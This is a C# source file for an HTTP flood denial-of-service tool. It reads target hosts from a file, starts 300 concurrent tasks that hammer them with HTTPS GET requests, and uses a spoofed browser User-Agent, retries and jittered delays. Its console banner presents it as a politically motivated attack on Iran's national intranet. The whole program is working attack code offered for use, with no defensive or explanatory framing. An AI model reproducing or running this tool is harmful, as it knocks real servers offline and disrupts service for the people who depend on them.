using System;
using System.IO;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Collections.Concurrent;

class Program
{
    const int MAX_RETRIES = 5;

    static ConcurrentDictionary<int, int> TaskRequestStats = new ConcurrentDictionary<int, int>();

    static void Main()
    {
        Console.OutputEncoding = Encoding.UTF8;

        if (!File.Exists("hosts.txt"))
        {
            Console.WriteLine("hosts.txt not found.");
            return;
        }

        var servers = File.ReadAllLines("hosts.txt");
        if (servers.Length == 0)
        {
            Console.WriteLine("hosts.txt is empty.");
            return;
        }

        int taskCount = 300;
        int requestsPerTask = 10000;

        var client = new HttpClient
        {
            Timeout = TimeSpan.FromSeconds(10)
        };
        client.DefaultRequestHeaders.Add("User-Agent",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " +
            "AppleWebKit/537.36 (KHTML, like Gecko) " +
            "Chrome/114.0.0.0 Safari/537.36");

        var rnd = new Random();

        Console.WriteLine("\n⚔   Women‑Life‑Freedom – Attacking on Iranian Intranet (Net Melli)");
        Console.WriteLine("⚔   Attack will start within 10 seconds ...\n");
        Thread.Sleep(10000);

        var cancelSource = new CancellationTokenSource();
        var token = cancelSource.Token;

        var tasks = new Task[taskCount];
        for (int t = 0; t < taskCount; t++)
        {
            tasks[t] = Task.Run(async () =>
            {
                var localRnd = new Random(Guid.NewGuid().GetHashCode());
                int tid = Task.CurrentId ?? Thread.CurrentThread.ManagedThreadId;

                while (!token.IsCancellationRequested)
                {
                    string server = servers[localRnd.Next(servers.Length)];

                    for (int i = 0; i < requestsPerTask && !token.IsCancellationRequested; i++)
                    {
                        bool success = false;
                        for (int retry = 0; retry < MAX_RETRIES && !success; retry++)
                        {
                            try
                            {
                                var resp = await client.GetAsync("https://" + server, token);
                                if (resp.IsSuccessStatusCode)
                                {
                                    Log(tid, $"✔ GET https://{server} ({(int)resp.StatusCode})");
                                    success = true;
                                }
                                else
                                {
                                    Log(tid, $"⚠ GET https://{server} returned {(int)resp.StatusCode}");
                                }
                            }
                            catch (Exception ex) when (retry < MAX_RETRIES - 1)
                            {
                                Log(tid, $"⚠ GET fail for {server}, retrying... ({ex.Message})");
                            }
                        }

                        TaskRequestStats.AddOrUpdate(tid, 1, (_, v) => v + 1);
                        await Task.Delay(localRnd.Next(5, 50), token);
                    }

                    Log(tid, $"Finished batch on {server}. Total: {TaskRequestStats[tid]}");
                }
            }, token);
        }

        Console.ReadLine();
        cancelSource.Cancel();

        try
        {
            Task.WaitAll(tasks);
        }
        catch (AggregateException) { }

        Console.WriteLine("\nAll tasks cancelled. Final stats:");
        foreach (var kv in TaskRequestStats)
            Console.WriteLine($"▶ Task {kv.Key}: {kv.Value} requests completed");
    }

    static void Log(int tid, string msg)
    {
        Console.WriteLine($"[THREAD ID : {tid}] {msg}");
    }
}
